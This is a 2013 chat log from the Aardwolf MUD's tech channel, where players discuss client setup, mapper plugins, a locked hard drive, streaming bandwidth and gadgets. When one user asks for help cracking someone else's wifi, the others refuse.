T3/r7/2013-01-19.txt.gz:{chan ch=tech}Hanslanda Tech: in CMud I could just use %e to reference the ansi escape code.  Does regex have a way to do the same?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: gotta question
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mokg Tech: then ask it
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: so ask
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mendaloth Tech: Have you tried restarting computer?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: somehow a virus put a password on my hardrive in my computer. have you ever heard of that from a virus
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Stop downloading porn
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: the guy couldn't even use the windows reformat to reboot it
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mendaloth Tech: Ransomware?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: low level format?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: is there a way to delete the remaining partition to get it to work?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: BIOS lock from a virus?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: not bios, just the HD
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mendaloth Tech: You mean the operating system?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: the hard drive
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger nods at Mendaloth.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: it was a laptop harddrive
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: if it was the bios i could just remove the batter
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mendaloth Tech: Back up - what operating system?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: battery
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: windows ultimate
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: he was gonna redownload it
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: he reformated the whole drive, or so he says, he said it wouldn't work
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: the confusing part is he can hook it up to another computer and it would work
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: just as a secondary drive
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: maybe a bootloader virus?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Noodlez Tech: Sounds like he put a password on the MBR
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: can a virus do that?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: why can't he reset the MBR
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: Viruses can do anything =o
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Noodlez Tech: if you can access to it in another computer, you can re-write the MBR
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: fdisk /mbr
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: or hit f8 before windows starts
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: sounds good, i'm gonna call him right now
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: the parts of hard drive that normally store hard drive passwords aren't touched by normal reformatting tools
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: and depending on the laptop, you can't get to bios or anything else without getting past the hard drive password
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: I'd imagine any decent partition software would handle those abe
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Noodlez Tech: Most of the time you can access bios before HDD
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: nope fates
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Noodlez Tech: HDD passwords are before partitioning
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: even a zeroing utility by the manufacture?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Noodlez Tech: Manuf software might be able to do it
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: dod wipe?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: got another question
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: con all
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: it's a part of the hard drive that's not user-accessible, you'd need a chipset-compatible version of a secure erase tool
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: my buddy got locked out of his router and said there is a program that can get the password of it
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: i'm looking for a wifi cracker of some sort
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: depends on the router...for home routers, hit the reset buttons
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Noodlez Tech: Most of the time you should just factory reset it, just hold the reset button for a while.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: Probably just easier to reset the router to default, jameson
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: wifi cracker isn't the router password
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: i need a wifi password cracker, any ideas?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: no you don't
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Legendary Gruagach Tech: wireshark
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: yes i do :) please :)
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: there's no reason you'd need that
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: no you don't
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: ok i don't, he does
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: no he doesn't
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: No he doesn't =p
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: a wifi password cracker doesn't get you into the router
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: why not :)
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Aliens Tech: what is his objective ?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mokg Tech: hit the reset button  on your router
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: its not technically his router :)
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: why not? because it doesn't do what you said he's looking to do
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: holddown the reset button
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Then you want to break into someone elses router. Be upfront about your intentions.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: then why would we help him break the law
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Noodlez Tech: he wants his neighbor's wifi
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: we are not technically breaking the law, he might be, but i plead the 5th
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: sounds like it
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: conspiracy to commit
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Aliens Tech: accessory
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: illegal torrents
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mokg Tech: http://lmgtfy.com/?q=how+to+break+into+my+neighbors+wifi
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: most hacker programs are for experminting only, says so on the cd
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: 'hacker programs' .. lol
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: so what're the odds that the "virus put a password on my hard drive" really means "I, umm, found this laptop"
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Aliens Tech: you mean cracker ?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: Regardless, you're looking for help doing something thats illegal in the US - so the content does not belong here.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: hack at your own risk
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: heh
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: yep cracker
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mokg Tech: if youre looking for help on how to do it on a mud then you're likely to never be able to do it
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: cough nuke cough nuke
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: i was just looking, there are lines, but i don't cross them :)
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: So you 'found' a computer, and 'need' accessory to a wifi that isn't 'technically his'. This sounds like a whole lot of dirty business.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Legendary Gruagach Tech: true, if you dont know how to do something you'll never do it.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: the computer was mine
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: you have already crossed them here
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Aliens Tech: yeah pretty much good that... this place aint for illeagal stuff, and watch your ass on those sites of ill-repute, lol
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: Maybe he stole the router too, and thats why he needs the password =p
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: Medieval Jameson nods.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: ..... Bad time to nod, Jameson. =p
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: thanks for the help too bad it wasn't much help, the mbr was genious
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: If he had physical access to the router then he could get access no problem :P
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: if you stole the router, then you'd have physical access and the reset button would get you in
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: He doesn't want to reset it though, apparently =p
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: well that's cuz it does him more good when it's connected to someone else's broadband :-)
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Aliens Tech: my SSID is AusFederalPoliceMobile04    lol
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: Lol abe.. yep.. he doesn't want to.. FOR SOME REASON. =p
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Noodlez Tech: Mind is abcd123456
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: Daloran looks at Aliens ponderingly.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: Wonder if thats close enough to impersonating a police officer here
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Aliens Tech: impersonating a police van router ?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: Aliens smirks.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: Hey, you never know =p
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Aliens Tech: meh, slap on wrist at worst, aussie larikinism
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: <-- not aussie.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Aliens Tech: yeah dunno about your locals, some places take themselves too serious
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Daloran Tech: And some places take themselves NOT SERIOUS ENOUGH
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: Aliens looks around and whistles innocently.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Vakieh Tech: W00T W00T! Mega is back to sane speeds, managed to make an account :-)
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Getsuko Tech: does anyone use bast's eq plugin?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Getsuko Tech: or any of the plugins from bast?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Getsuko Tech: does anyone use bast plugins?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Mokg Tech: yes some people do
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Getsuko Tech: I am having some trouble with the EQ one :-\ was wondering if someone had advice
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Shaboom Tech: quest request
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Shaboom Tech: mis. lol.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I'd like a tech quest too :P
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Legendary Gruagach Tech: hey how do i get invited to CES next year?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Mokg Tech: http://lmgtfy.com/?q=how+do+i+get+invited+to+CES+next+year%3F
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Score: Mokg +1
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I have not seen an lmgtfy reference used in a long time, had to load it myself to see it still worked :)
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aqiz Tech: then youll like this one too
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aqiz Tech: http://lmmtfy.net/
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: Sit like a Trurien nods.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I saw a bacon one before hmm
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aqiz Tech: let me bacon that for you?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Something like that...
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aqiz Tech: haha, cant find it unfortuantly
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: For anyone that was around for the convo about wireless/media center streaming.. its about 30mb/sec required for streaming HD video across the lan
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Made any progress on a solution?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: Nah, but at least I have a number I'd need to shoot for
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: if 30 mbit is the goal, 300mbit wireless could suffer quite a bit of loss and still hit it.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Yup.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: So I think the $75ish ones would do it the 300N, as opposed to the 150mbps N
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: really, the cheapest of them would probably work, but such a small difference
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Maybe try some 802.11ac stuff?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Mokg Tech: 30 mbit is way higher than you need, unless youre talking about 1080p
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: Its measured at 30mbit, mokg.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Pff, U-verse can do 4 1080p streams on 32mbit
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: and likely 1080i.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: I don't know if they have black market codecs or what
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: Maybe if it were compressed, noodlez
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: I'm talking live tv streams
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Mokg Tech: I could stream 720p on a 10 mbit line just fine
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: As am I, noodlez.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aqiz Tech: stream aard??
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: And maybe Mokg - but i'm talking specifically about streaming a TV station from a windows media center server to an xbox.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aliens Tech: so being a MS product they prob use RLE for video compression
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: Ooo. Fancy. apparently the tuner will stream to a PS3 as well, via DLNA. Didn't know that.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Daloran Tech: Possibly Aliens, not sure. However the live streaming I imagine will be in Mpeg2.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Grahzka Tech: anyone here familiar with the Android client?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aqiz Tech: torch?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aliens Tech: there is only one ?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Grahzka Tech: yes, the only one.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aliens Tech: highlander
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Grahzka Tech: Not Macleod...  The Aardwolf client on Android.  Lol
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Grahzka Tech: Is anyone familiar with it?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aliens Tech: i bet some people are, why don't you cut the foreplay and just ask your question
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Grahzka Tech: I thought people liked foreplay...  Anyway, does anyone know how to change the transparency of the buttons?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aqiz Tech: I can't count how many times i get to a room and i type ls intead of look
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Is there a way to make git use putty for SSH?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Techne Tech: Hi guys. Here's my issue, every time I move (s,n,..) there is some script printed  right above the map                                                                          ex.:                                                                                    table {}
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'm assuming it's for some reason trying to print out the map stored in a lua table.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Techne Tech: sorry message got separated, I try once more in a sec
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Techne Tech: I use mudlet on debian as client, could it be some wrong configuration ? I haven't changed anything from default. 
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Using MAG?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: What version of Debian are you using, Techne?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Techne Tech: what's a mag ?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Techne Tech: wheezy
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: The answer is 'no' then :P
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: what kernel version is that?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Ah, I'm on squeeze and tt++/screen works nice.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Techne Tech: 3.2.0-4 
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Where do you get MAG anyway, Cheez? We should package these things and ask to put them on repos :)
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I wouldn't mind "apt-get install aardwolf" one day.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I don't even know anymore. I can't recall who even made it at this point.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: aard's wiki will tell you where to get it ;-)
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Well it definitely wasn't Abelinc :P
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: started wiht a 'z' iirc
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: Sit like a Trurien has fluffled your fur! Argh, now you have to comb it again!
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: click clients, look at the link for MAG
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Techne Tech: MUG looks cool, I'll try it. Thanks
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: zaxes posted most of the MAG stuff to the wiki...ooh, was about to say Mudlet hasn't been touched in years but they've finally started again, so you can actually get the mapper that wasn't easily available for most ports for the past couple years
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what's a good and free way to edit video files?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Mikejs Tech: windows movie maker?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Runtur Vanion Tech: movie maker lasts support for cellphone made vids iirc
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Runtur Vanion Tech: lacks*
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yea I took videos with my ssung Note
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: put them on my pc, and want to chop them down
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but zero clue how to do this
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: anyone ever have issues where perhaps commands are sent but apparently not received?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Mikejs Tech: only if i'm browsing help files or long lists of skills and forget to press q
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: no, I mean the command gets sent but Aard just doesn't respond at all when obviously it should be responding.  Specifically, sending an echo command and not having it echo.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: you can use echocommands to see what the MUD thinks you've sent
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: I'd chalk that up to a competing gag
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Augen Tech: Can someone tell me how to log just the comm log on mush client?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Bast Tech: right click in the window and hit logging?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Augen Tech: and then...?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Bast Tech: hit enable and it is logging
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Augen Tech: How do I see the file it output to?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Turie Tech: It isin your logs folder in MUSHclient folder.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Bast Tech: I think the file is AardwolfChatLog.txt in your Mushclient/logs dir
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: look in the logs folder
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: the one called chat is for chats :P
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Augen Tech: Thanks guys, no experience with this
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Augen Tech: how often doe sit refresh or do I need to hit log session under FILE
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: me either ;-)
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: no, don't hit log session
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Turie Tech: It does it every time something is put into it.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Augen Tech: ok so it automatically just updates in my chatlog
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Augen Tech: sweet
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: shouldn't matter how often it refreshes...logs are for old stuff...look in your com log window for new stuff
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Keaven Tech: hi guys, do you know if there is a good client for this MUD on MacOS?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Legendary Gruagach Tech: wine + mush
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Keaven Tech: I noticed the client downloadable from the website is an exe....
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aizma Tech: Yes. Use WINE.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Keaven Tech: does it have an automapping feature like the one for windows?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: use the one for windows...
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: http://code.google.com/p/aardwolfclientpackage/wiki/MacLinux
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Keaven Tech: I don't have a windows machine :) only Mac
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Keaven Tech: oh that's cool!
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: that's fine, Macs run the Windows client just fine
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: unless it's an 8 year old Mac, anyway...
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Keaven Tech: no... mine is 1 yo
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Keaven Tech: thanks very much for the help :)
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: good luck :-)
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: anyone know in aardwolds mapper db where is noportal flag stored?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Turie Tech: Room information
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: in rooms table?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Turie Tech: Try there.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: there is noportal column, but setting it to 1, does not work somehow
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: it must be somewhere else as well
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Leinei Tech: Are you trying to edit it when you have MUSH open?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: though rooms, which have been marked noportal by mapper, have value 1 in this field
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: no, i'm not editing
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: note that not all portals care about the noportal flag
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: (not all MUSH mapper portals, that is)
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: i mean i have a plugin, which sets the field to 1
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: and when i check db, value has changed to 1 but i still can portal out from this room and mapper thisroom does not diaplay the noportal flog
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: so it must be stored somewhere else than rooms table
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: or you're not reloading
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: which is why you shouldn't be setting it yourself in a separate plugin
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Leinei Tech: Look up the function noportal_room() in the mapper plugin
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Leinei Tech: That's how the mapper sets a room to noportal
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Leinei Tech: It might be because you're not calling save_room_to_database()
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: ok, i'll do that.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: thanx
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: editing the noportal column in rooms table was correct. mapper is cashing room info in room variable. can i change it from my plugin?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: sorry, roomsm variable. it is updated rooms[current_room].noportal = 1
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: right, the mapper doesn't recalculate paths if it has a precalculated path and as far as it's concerned nothing has changed
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Jedhi Tech: any idea?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Taste The Alestorm Tech: hi guys my words are being cut off on my output menu how do i fix this again?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Taste The Alestorm Tech: and if i can change the font that'd be great
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Thunderax Tech: anyone have any idea why i'm getting this popup error with mush?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Thunderax Tech: Unable to create the plugin save state file: C:\MUSHclient\worlds\plugins\state\<complicated file name>.xml
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Thunderax Tech: seems to occur everytime i q request
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: check permissions on that file
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Mokg Tech: broken bot
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Thunderax Tech: ahh cool, will have a look thanks
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: looks like dell going to get bought out
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Anyone heard about the Leap Motion?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: is that the kids toy?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Nah, sounds like it, but it's got humonous potential, google it.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}The River Styx Tech: is that where you propel yourself through the air hard enough that your feet actually leave the ground?  I heard its hard.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: styx what you talking about
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: oh, yeah, we have one of those.  It's called Kinect.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Waaaaaay better than Kinect
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: it doesn't have as much potential as it has hype
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Way more accurate, way smaller.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: how?  It's the same exact technology, just focused on laptops.
